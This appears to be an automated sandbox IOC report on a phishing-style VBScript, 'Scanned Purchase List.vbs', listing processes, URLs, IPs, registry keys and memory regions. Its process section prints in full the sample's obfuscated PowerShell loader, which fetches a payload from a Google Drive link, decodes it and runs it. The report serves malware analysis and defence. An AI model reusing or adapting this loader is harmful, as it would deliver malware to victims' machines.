IOC Report
Scanned Purchase List.vbs

loading gif

Files

File Path
Type
Category
Malicious
Scanned Purchase List.vbs
ASCII text, with very long lines (2199), with CRLF line terminators
initial sample
 malicious
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506
Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
dropped
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
data
modified
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_00datdxo.taw.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f3vuqqwq.ftk.psm1
ASCII text, with no line terminators
dropped

Processes

Path
Cmdline
Malicious
C:\Windows\System32\wscript.exe
C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scanned Purchase List.vbs"
 malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#selvhrdendes Opdrager Hjremarginerne Dundertaler #>;$Usolidere43='Councilmen';<#Herredmmer Plasmagenic Jdindernes suttene Korjambisk decelerationsbanen Udskejelser #>;$Dimit=$host.PrivateData;If ($Dimit) {$Pantagraphic++;}function doublecrossing($spisevgringer253){$Driftsbesparelse=$Gucki+$spisevgringer253.Length-$Pantagraphic;for( $Crunchingly=3;$Crunchingly -lt $Driftsbesparelse;$Crunchingly+=4){$Nikeno+=$spisevgringer253[$Crunchingly];}$Nikeno;}function tramelling($Perhapses){ & ($boligydelsen) ($Perhapses);}$sortkldt=doublecrossing 'talM ,fospazLociDatls il Kna D,/Asy5 ke.Ind0Res Lo,(svaW oiHornfordf noanswA ss sm CoN,jrT s. Art1Epa0so,.vet0,ie;P r shoWpasi enA.y6D g4Hav;C b seexLtr6De 4 lo;Mis oerChev ,r: Ud1Ans2tra1Fer.Ri.0Unl)Les ChaG FrestocNe kUndo Ar/sor2Mur0.au1Lok0 F 0Zef1Pso0 Do1 Pr IdFEmiiVenrTegeModf umocanx a/E.i1Out2Ung1Mos. n0 A. ';$Panservaaben=doublecrossing ' s UDiss PaE AsR.lt- Unap lGTapeBjlnOlet r ';$Encheson=doublecrossing 'Gyrh aatP ntPespKnas Ti:Beh/ i/Le d T.rFrai RevFrieImp. s g Inosl.oMosg Jal steHys.RencAngomidmUn,/ vuPercWhe? Kne ndx stp ero rrct tplu=Pred H,ostiwpannsy,lIm oBriaEssd il&KaliF,idE f=h s1LanO DuQTyrEB rlAcc7OveU ,aGsulOPipyUncKsids VaPDecd ,aR npJ Gr9Dis1 eng L wH mqst os,rI ifV T NLinNindRLinsJea6stiPOmbVFur9 ti4Bri ';$Dioxid=doublecrossing ' s.>Fib ';$boligydelsen=doublecrossing 's aistoeAppxs m ';$Manducation='springklaps';$Drinksenes='\Paralytical.Nap';tramelling (doublecrossing 'Otu$Ar gstjl,hooEf.bCl,aCavlBev:Gerc R o Fiu RinepotsaceCamrEvaaLnorBregGr u eelimsVis=Egy$WooeJ.nn olvs l:MedaDmppTw.pPred aaasyrtMaravu.+ yk$ M DHipr eliKilnpeakskasNonepitnPhaeTilsFur ');tramelling (doublecrossing ',or$sozg emlD ro KebA taUnilPra:AcrsI vtImpyG,irE otBindManyRookFa kU ceButr Ln=Pol$ AtEAman.ykcBilhIndes.hsKeeoJobn Pa.Tyns ekpsy,lsleiAb tHav(Bil$ svD.eyiUngoCruxPleiDord To) sc ');tramelling (doublecrossing 'Maw[DifNCamestrtTer.kilsV,le sir Mev FaiBescDaweFerPTheoHypiUndnso.tNskM s.a M ns,maspegsameRidr K ] a: on:Na.sdove ApcHabuPa.r ,riJart apyskuPst,rA coskatA koF,lcAn o NelNon n= Nu kv[ ndNR aeQuatCo . VasPite BacstousynrA gisartLgtyOplPNerrTrao TrtBndoGlucHe oCyclAlaTR gyEkspsa e d]Avo:F r: phTNonlMarsP,e1s o2Idi ');$Encheson=$styrtdykker[0];$Northwardly=(doublecrossing ' Ou$sogGs mLPlaONonBTerAGlaL Or:steLIntIs oGUn H ktT p,a MtGForesl.6 Ma8s,v=optnAarE BawPar-TheostaBMilJIfaE HoC UvTnon EarsF rYLa.s.potFeeED lMHov.DelNK aE untFor.OvewJonEA,sbOplCGelL KeIsenePs nAndT sp ');tramelling ($Northwardly);tramelling (doublecrossing ' Cr$DiaLRe iDkfgL phEmutAfkaRidgEnfeFre6Til8Cir.MarHOvaePa asa.dVapestar sesFag[ un$ConPToraVo n D sBl eConrP lv TuaRa ashob Ade AnnCem].as= p$At s Kao.ntrPhotFikky pltrid K tMis ');$semicolloquially=doublecrossing ' F $.oaLHlei N gRovhReitMi as ng PreBad6Ur.8Fum.strDTypo Prwsydn rulozooAu aFerdan FBetiB ml beeMyo(Pse$ onEOffn Unc mohInceKorsCicoaftnser,sep$C,aB EmiPunl Asl s aU raNonn ineBaltA asD.t) su ';$Billaanets=$counterargues;tramelling (doublecrossing ' or$BilGBomLEneoB tbslaaBorlThr:r taPolP InoBo.CKa rIndiFugs riiTemA RaRElsY.al=Bar(T lTsquemars stT.ar-H.aP DraRabTRekHUns Ve $FisbOphIfreLM.nL saa LoAProNslaEsuktValsUni) h ');while (!$Apocrisiary) {tramelling (doublecrossing 'But$kurgAn,lLabo eb omaUnplHay:Rare tuuRovpQuah,oro P r BebKopiUndaMsslMaa=End$PretskorT auAc e ca ') ;tramelling $semicolloquially;tramelling (doublecrossing 'Ejesne tAn a inrHeatCol-BrassamlUnde epeNatpDag Ove4Des ');tramelling (doublecrossing 'Hil$ Img flsk oConbmisaDenlFra:MasA edpEnaoEkscPr,rBesiYo.sCrei Coa Vgr LuyA t=sun(K lTIngeAngsF,etGen- F.PProajawt M,hUrt Uni$sa Bskai VelDefls aaD pa O n oeMu.tG as wh)ste ') ;tramelling (doublecrossing ' W.$ m g KolUddoArab onaAu l re: spEs unNa.est rsikg.isieftmI fnDdsg HjdstueN n=Ord$ TygCollNaroTrubLeuaGullLyd:FalTP,oiTypdA bsA phFo.o scr U,i ResBisoGran.omt Wase b+ Di+fo %Dre$EnhsOmvtAs,yOpdr astEpidDy,yFl.kLyckFale efrUnd..emcManospruFusnDyrtsk, ') ;$Encheson=$styrtdykker[$Energimngde];}$Arthriticine=282118;$sorteringsordenen=30262;tramelling (doublecrossing 'Pl.$WabgCenlslaoLeubFraa jal t : g.Osi.mBets ortGloy U.rProtPseeHyptEpi slv=Bai st G Alesutt.xa-sacC PtoPosnP ntHa.eLu.n cetC.e Br$ .tBen,i amlPral leaBliasarnOldeMontEkss Di ');tramelling (doublecrossing 'sty$salg Auls po ekb abaph lOpe:,arsso.t pioBard CodGene ajrFlikVano PrnspigE ee phnU d Ext=E e mi.[Mi sTepyFlysOlitTaveKipm.ol. emCspyosannFunv HaeAmpr CotOm ]B,g:Beg:VouFD,nr.etoUnwmscrBsc aKapsLuneUpp6Pis4 Hos TwtIntrCh iAfgnraagTer(Kam$EmpOB.omAmbssket piyJu r,ret R eApptAld) sl ');tramelling (doublecrossing 'Fi $,mmgjo l skoPosb O.asunl i:by,NKo,o C tD ma.xmrsc iBoazKomisarnRefgB.a Ma=Euc Unc[ HasD nyTemsBettBiseFlamM k.RomTI seDisxambtBlo.WigEOs nDigcBabo Pad PliAfsnTimgTik],kr:De : slAFars ReCUnuIsamI.ta. H,G .reEsttConsCymtU ora,visa nHoggInf(ye $Fr s ngt A,oBledAardRe e MorInskVagoF,dnMicgAlleCatnall) Re ');tramelling (doublecrossing 'Mya$ eg ypl,kooU sb.oua.hol gn:TreC,ighsweuLancCsuk ,oyse.=Lio$Mi NPasoO.ltBloa C ra si DizAfkiNo n.argskr.AmpsNymu U,b sksGr tTv,rDiviseenmaagFor(T.e$,arA FurstytIndhBelrTiliNontGenis.lc nistyn,tiePha,bin$ ous,eaoKonr T,tMeleKokrHo iLinnEntgTilsshaoBarr MadKroe Ben AceNo n T ) ka ');tramelling $Chucky;"
malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

URLs

Name
IP
Malicious
https://www.google.com
unknown
https://drive.googPBjN
unknown
http://nuget.org/NuGet.exe
unknown
http://drive.usercontent.google.com
unknown
http://pesterbdd.com/images/Pester.png
unknown
http://www.apache.org/licenses/LICENSE-2.0.html
unknown
https://drive.usercontent.google.com(
unknown
https://contoso.com/
unknown
https://nuget.org/nuget.exe
unknown
https://contoso.com/License
unknown
https://contoso.com/Icon
unknown
https://drive.googP
unknown
https://drive.google.com
unknown
https://drive.usercontent.googh
unknown
https://drive.usercontent.google.com
unknown
https://drive.usercontent.googhZ
unknown
http://www.microsoft.
unknown
http://drive.google.com
unknown
https://aka.ms/pscore68
unknown
https://apis.google.com
unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
unknown
https://github.com/Pester/Pester
unknown
There are 12 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
bg.microsoft.map.fastly.net
199.232.214.172
drive.google.com
142.250.184.238
drive.usercontent.google.com
142.250.184.193

IPs

IP
Domain
Country
Malicious
142.250.185.142
unknown
United States
142.250.184.193
drive.usercontent.google.com
United States
142.250.184.238
drive.google.com
United States

Registry

Path
Value
Malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileDirectory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileDirectory
There are 4 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
1DC5EADB000
heap
page read and write
1ADCF830000
trusted library allocation
page read and write
1ADD0E9B000
trusted library allocation
page read and write
1ADCF850000
heap
page execute and read and write
1ADDF8A1000
trusted library allocation
page read and write
1DC5CB2A000
heap
page read and write
4BD888E000
stack
page read and write
41023FC000
stack
page read and write
1ADCF740000
heap
page execute and read and write
7FFD9BBA0000
trusted library allocation
page read and write
1ADCDCAC000
heap
page read and write
1DC5EADB000
heap
page read and write
1ADCDCA6000
heap
page read and write
1DC5E979000
heap
page read and write
1ADD1059000
trusted library allocation
page read and write
7FFD9BAE0000
trusted library allocation
page read and write
1ADD0EC9000
trusted library allocation
page read and write
1ADD0782000
trusted library allocation
page read and write
7FFD9BBE0000
trusted library allocation
page read and write
7FFD9BB50000
trusted library allocation
page read and write
1DC5EB95000
heap
page read and write
1DC5E979000
heap
page read and write
1ADD10D7000
trusted library allocation
page read and write
1DC5EAC8000
heap
page read and write
7FFD9BAB0000
trusted library allocation
page execute and read and write
1DC5CA30000
heap
page read and write
1ADE8039000
heap
page read and write
1DC5EADB000
heap
page read and write
1DC5E4A0000
remote allocation
page read and write
1ADCFAC6000
trusted library allocation
page read and write
1ADCFD2E000
trusted library allocation
page read and write
1ADD0E84000
trusted library allocation
page read and write
1DC5EB8B000
heap
page read and write
4BD7B37000
stack
page read and write
1DC5CAA0000
heap
page read and write
1DC5CB1E000
heap
page read and write
1ADCFD41000
trusted library allocation
page read and write
1ADCDCEC000
heap
page read and write
1ADD10FC000
trusted library allocation
page read and write
1ADD0775000
trusted library allocation
page read and write
1ADCFD91000
trusted library allocation
page read and write
1DC5EA70000
heap
page read and write
1ADDF913000
trusted library allocation
page read and write
4BD7ABE000
stack
page read and write
1ADD157B000
trusted library allocation
page read and write
1ADCF6D0000
heap
page readonly
1DC5EB70000
heap
page read and write
1DC5CC30000
heap
page read and write
1ADD181E000
trusted library allocation
page read and write
1ADD0212000
trusted library allocation
page read and write
1DC5EADB000
heap
page read and write
1ADE8390000
heap
page read and write
1DC5CCF5000
heap
page read and write
1DC5EA71000
heap
page read and write
1ADCFD78000
trusted library allocation
page read and write
1ADD0771000
trusted library allocation
page read and write
1DC5CA60000
heap
page read and write
1ADCFD3A000
trusted library allocation
page read and write
7FFD9B8E3000
trusted library allocation
page execute and read and write
1ADCF895000
heap
page read and write
7FFD9B8E2000
trusted library allocation
page read and write
1ADCFD1F000
trusted library allocation
page read and write
1DC5EABF000
heap
page read and write
7FFD9BA9A000
trusted library allocation
page read and write
1DC5CB1E000
heap
page read and write
1DC5CB4A000
heap
page read and write
7FFD9B93C000
trusted library allocation
page execute and read and write
1DC5EAC8000
heap
page read and write
1ADD151F000
trusted library allocation
page read and write
41021FE000
stack
page read and write
1ADCDCAE000
heap
page read and write
1DC5EB9B000
heap
page read and write
4BD797E000
stack
page read and write
1DC5EB5B000
heap
page read and write
7FFD9BB30000
trusted library allocation
page read and write
1DC5EABF000
heap
page read and write
7FFD9BC30000
trusted library allocation
page read and write
1DC5CB4A000
heap
page read and write
1ADD14FA000
trusted library allocation
page read and write
1ADD1573000
trusted library allocation
page read and write
7FFD9BC60000
trusted library allocation
page execute and read and write
1DC5CB25000
heap
page read and write
1ADE7EC0000
heap
page read and write
1ADD0FBF000
trusted library allocation
page read and write
7FFD9B8ED000
trusted library allocation
page execute and read and write
1ADD0EA5000
trusted library allocation
page read and write
1DC5EAB8000
heap
page read and write
1DC5EB9A000
heap
page read and write
1DC5EACF000
heap
page read and write
1DC5EB9D000
heap
page read and write
1ADCDC6C000
heap
page read and write
1DC5CB45000
heap
page read and write
1ADD0221000
trusted library allocation
page read and write
1DC5CB4A000
heap
page read and write
41028FC000
stack
page read and write
4101BE9000
stack
page read and write
4BD77FE000
stack
page read and write
1DC5E972000
heap
page read and write
7FFD9BB70000
trusted library allocation
page read and write
7FFD9BBF0000
trusted library allocation
page read and write
7FFD9BB40000
trusted library allocation
page read and write
1ADCDE50000
heap
page read and write
1DC5EAB8000
heap
page read and write
1DC5EA94000
heap
page read and write
1DC5EC1B000
heap
page read and write
1ADCFD99000
trusted library allocation
page read and write
1DC5E970000
heap
page read and write
1ADCDF00000
heap
page read and write
1ADCDCB0000
heap
page read and write
1DC5EAEE000
heap
page read and write
7FFD9BBD0000
trusted library allocation
page read and write
1DC5EB71000
heap
page read and write
1ADE803C000
heap
page read and write
1DC5CB05000
heap
page read and write
1DC5CAC0000
heap
page read and write
1DC5E977000
heap
page read and write
1DC5E977000
heap
page read and write
1DC5EB37000
heap
page read and write
1ADD0755000
trusted library allocation
page read and write
1ADDF8AF000
trusted library allocation
page read and write
1ADD0F7D000
trusted library allocation
page read and write
1DC5E979000
heap
page read and write
4101EFE000
stack
page read and write
7DF417380000
trusted library allocation
page execute and read and write
1ADE7E08000
heap
page read and write
1DC5CB4A000
heap
page read and write
7FFD9B900000
trusted library allocation
page read and write
7FFD9BC20000
trusted library allocation
page read and write
1ADE805E000
heap
page read and write
1ADCF6E0000
trusted library allocation
page read and write
1DC5CA20000
heap
page read and write
4BD7EBC000
stack
page read and write
1DC5CAF6000
heap
page read and write
1DC5CCF8000
heap
page read and write
1DC5EACB000
heap
page read and write
1ADE7DB0000
heap
page execute and read and write
1DC5EBCA000
heap
page read and write
1ADCDED0000
trusted library section
page read and write
1ADD03BF000
trusted library allocation
page read and write
1DC5EAB8000
heap
page read and write
1DC5EA84000
heap
page read and write
1DC5CB4A000
heap
page read and write
1ADCFD81000
trusted library allocation
page read and write
1DC5EABF000
heap
page read and write
1DC5EAA1000
heap
page read and write
1DC5CB23000
heap
page read and write
1ADCFD2A000
trusted library allocation
page read and write
1ADD0979000
trusted library allocation
page read and write
1DC5EAC8000
heap
page read and write
1DC5CCF8000
heap
page read and write
1ADCF750000
trusted library allocation
page read and write
1ADCFD7C000
trusted library allocation
page read and write
7FFD9BAD0000
trusted library allocation
page execute and read and write
1DC5EAD6000
heap
page read and write
1DC5E971000
heap
page read and write
1ADD076D000
trusted library allocation
page read and write
1ADD1509000
trusted library allocation
page read and write
1ADD0786000
trusted library allocation
page read and write
1ADD150D000
trusted library allocation
page read and write
7FFD9B99C000
trusted library allocation
page execute and read and write
1ADE8016000
heap
page read and write
1DC5EB93000
heap
page read and write
1DC5EA95000
heap
page read and write
1DC5CB26000
heap
page read and write
1DC5EB8E000
heap
page read and write
1DC5EB09000
heap
page read and write
1DC5CB44000
heap
page read and write
1ADCDEB0000
heap
page read and write
1DC5CAF4000
heap
page read and write
1ADD10E7000
trusted library allocation
page read and write
1DC5EAB3000
heap
page read and write
1DC5CB4A000
heap
page read and write
1ADE8024000
heap
page read and write
1ADCDC60000
heap
page read and write
1ADE7E12000
heap
page read and write
1DC5EC25000
heap
page read and write
1ADD096E000
trusted library allocation
page read and write
1ADCFD8D000
trusted library allocation
page read and write
1DC5EB96000
heap
page read and write
1DC5EAB8000
heap
page read and write
1DC5EB82000
heap
page read and write
1DC5EA91000
heap
page read and write
7FFD9BA00000
trusted library allocation
page execute and read and write
1ADD0C93000
trusted library allocation
page read and write
7FFD9B8E0000
trusted library allocation
page read and write
1DC5CCFB000
heap
page read and write
1ADD0F38000
trusted library allocation
page read and write
1ADE7EAB000
heap
page read and write
7FFD9BBB0000
trusted library allocation
page read and write
1ADCF890000
heap
page read and write
1DC5EAC8000
heap
page read and write
1ADCDEF0000
trusted library allocation
page read and write
1DC5CB17000
heap
page read and write
1DC5EBEF000
heap
page read and write
1ADE7DC0000
heap
page read and write
1DC5CB17000
heap
page read and write
4101FFE000
stack
page read and write
1DC5E4A0000
remote allocation
page read and write
7FFD9B9A0000
trusted library allocation
page execute and read and write
1ADCDF0D000
heap
page read and write
1ADD0974000
trusted library allocation
page read and write
7FFD9BAC2000
trusted library allocation
page read and write
1DC5EAA8000
heap
page read and write
1DC5E530000
heap
page read and write
1DC5CB44000
heap
page read and write
7FFD9BAA0000
trusted library allocation
page execute and read and write
7FFD9BC10000
trusted library allocation
page read and write
1ADD057A000
trusted library allocation
page read and write
1ADCFD21000
trusted library allocation
page read and write
1DC5EACF000
heap
page read and write
7FFD9BA91000
trusted library allocation
page read and write
1ADD10CD000
trusted library allocation
page read and write
1ADE7E24000
heap
page read and write
7FFD9BC50000
trusted library allocation
page read and write
41027FF000
stack
page read and write
1ADCDF05000
heap
page read and write
1ADCDE70000
heap
page read and write
1ADD0DFF000
trusted library allocation
page read and write
1ADCF833000
trusted library allocation
page read and write
1ADE7FC0000
heap
page read and write
1ADCFD95000
trusted library allocation
page read and write
1DC5E971000
heap
page read and write
1ADCDCB4000
heap
page read and write
1ADD0D28000
trusted library allocation
page read and write
1DC5E979000
heap
page read and write
7FFD9BAF0000
trusted library allocation
page read and write
4BD8838000
stack
page read and write
7FFD9BB10000
trusted library allocation
page read and write
1ADCF840000
heap
page read and write
7FFD9B8F0000
trusted library allocation
page read and write
7FFD9BB00000
trusted library allocation
page read and write
1DC5CADA000
heap
page read and write
1DC5CB05000
heap
page read and write
1ADDFB9C000
trusted library allocation
page read and write
1DC5EA71000
heap
page read and write
1ADE7E7F000
heap
page read and write
7FFD9BB80000
trusted library allocation
page read and write
1DC5CA8C000
heap
page read and write
1ADD0759000
trusted library allocation
page read and write
7FFD9BB90000
trusted library allocation
page read and write
1ADD0761000
trusted library allocation
page read and write
1DC5EB93000
heap
page read and write
1ADCFD85000
trusted library allocation
page read and write
1ADD1577000
trusted library allocation
page read and write
41022FF000
stack
page read and write
1ADCF6C0000
trusted library allocation
page read and write
1DC5EABF000
heap
page read and write
1ADE7EE0000
heap
page read and write
7FFD9B8FB000
trusted library allocation
page read and write
1ADCFD57000
trusted library allocation
page read and write
1ADD166C000
trusted library allocation
page read and write
1DC5CAF6000
heap
page read and write
4BD7E3E000
stack
page read and write
1ADCFD38000
trusted library allocation
page read and write
1DC5EACF000
heap
page read and write
1ADCF780000
trusted library allocation
page read and write
1DC5EABF000
heap
page read and write
1DC5CAF6000
heap
page read and write
1ADD0963000
trusted library allocation
page read and write
7FFD9BC40000
trusted library allocation
page read and write
1ADE7DB7000
heap
page execute and read and write
1DC5CB24000
heap
page read and write
1DC5CA8B000
heap
page read and write
1ADCDCC4000
heap
page read and write
1ADD096B000
trusted library allocation
page read and write
1ADD1109000
trusted library allocation
page read and write
1DC5EB80000
heap
page read and write
1DC5CB4A000
heap
page read and write
4BD7C39000
stack
page read and write
7FFD9BA80000
trusted library allocation
page read and write
1ADCDCA4000
heap
page read and write
1DC5E972000
heap
page read and write
1ADD0765000
trusted library allocation
page read and write
7FFD9B9C6000
trusted library allocation
page execute and read and write
1ADCF924000
trusted library allocation
page read and write
4BD7673000
stack
page read and write
1ADD0FC9000
trusted library allocation
page read and write
1DC5CAF4000
heap
page read and write
4BD898D000
stack
page read and write
1ADCFD32000
trusted library allocation
page read and write
1DC5CAAA000
heap
page read and write
1DC5CAF4000
heap
page read and write
1ADE78AB000
heap
page read and write
41025FF000
stack
page read and write
1ADCFD74000
trusted library allocation
page read and write
1DC5EAAC000
heap
page read and write
1ADD075D000
trusted library allocation
page read and write
1DC5EADB000
heap
page read and write
7FFD9BB60000
trusted library allocation
page read and write
1ADD14E6000
trusted library allocation
page read and write
1DC5CB4A000
heap
page read and write
1DC5CB18000
heap
page read and write
1DC5EA75000
heap
page read and write
1ADD0779000
trusted library allocation
page read and write
1ADE7DC9000
heap
page read and write
4BD787D000
stack
page read and write
1DC5CAD7000
heap
page read and write
4BD79FE000
stack
page read and write
1ADD0DF3000
trusted library allocation
page read and write
1ADD0F85000
trusted library allocation
page read and write
1ADD0D8D000
trusted library allocation
page read and write
1DC5EAE7000
heap
page read and write
1ADCDEE0000
trusted library section
page read and write
4BD7D3E000
stack
page read and write
1DC5EB8A000
heap
page read and write
7FFD9B996000
trusted library allocation
page read and write
7FFD9BB20000
trusted library allocation
page read and write
1DC5EA77000
heap
page read and write
4BD7BB9000
stack
page read and write
1ADCF8A1000
trusted library allocation
page read and write
1ADD1135000
trusted library allocation
page read and write
1DC5EACF000
heap
page read and write
41024FB000
stack
page read and write
7FFD9B90D000
trusted library allocation
page execute and read and write
1ADCFE7D000
trusted library allocation
page read and write
1ADCDD5E000
heap
page read and write
7FFD9BC00000
trusted library allocation
page read and write
1ADD0769000
trusted library allocation
page read and write
1DC5EA72000
heap
page read and write
1DC5EA84000
heap
page read and write
1ADE806A000
heap
page read and write
1ADCFE8E000
trusted library allocation
page read and write
1DC5EADB000
heap
page read and write
1DC5EA71000
heap
page read and write
4BD890E000
stack
page read and write
1ADE8098000
heap
page read and write
1DC5CAC5000
heap
page read and write
7FFD9B990000
trusted library allocation
page read and write
1DC5EAC8000
heap
page read and write
1DC5E4A0000
remote allocation
page read and write
7FFD9B8E4000
trusted library allocation
page read and write
1ADDFB8E000
trusted library allocation
page read and write
1ADD0E2D000
trusted library allocation
page read and write
1ADDFA56000
trusted library allocation
page read and write
1ADD153A000
trusted library allocation
page read and write
1ADD1505000
trusted library allocation
page read and write
1ADD07A9000
trusted library allocation
page read and write
1ADCFD89000
trusted library allocation
page read and write
1ADCFD70000
trusted library allocation
page read and write
1ADD077E000
trusted library allocation
page read and write
1DC5CCF0000
heap
page read and write
7FFD9BBC0000
trusted library allocation
page read and write
1ADD08F9000
trusted library allocation
page read and write
1DC5EB92000
heap
page read and write
4BD7A78000
stack
page read and write
1ADCDD70000
heap
page read and write
There are 336 hidden memdumps, click here to show them.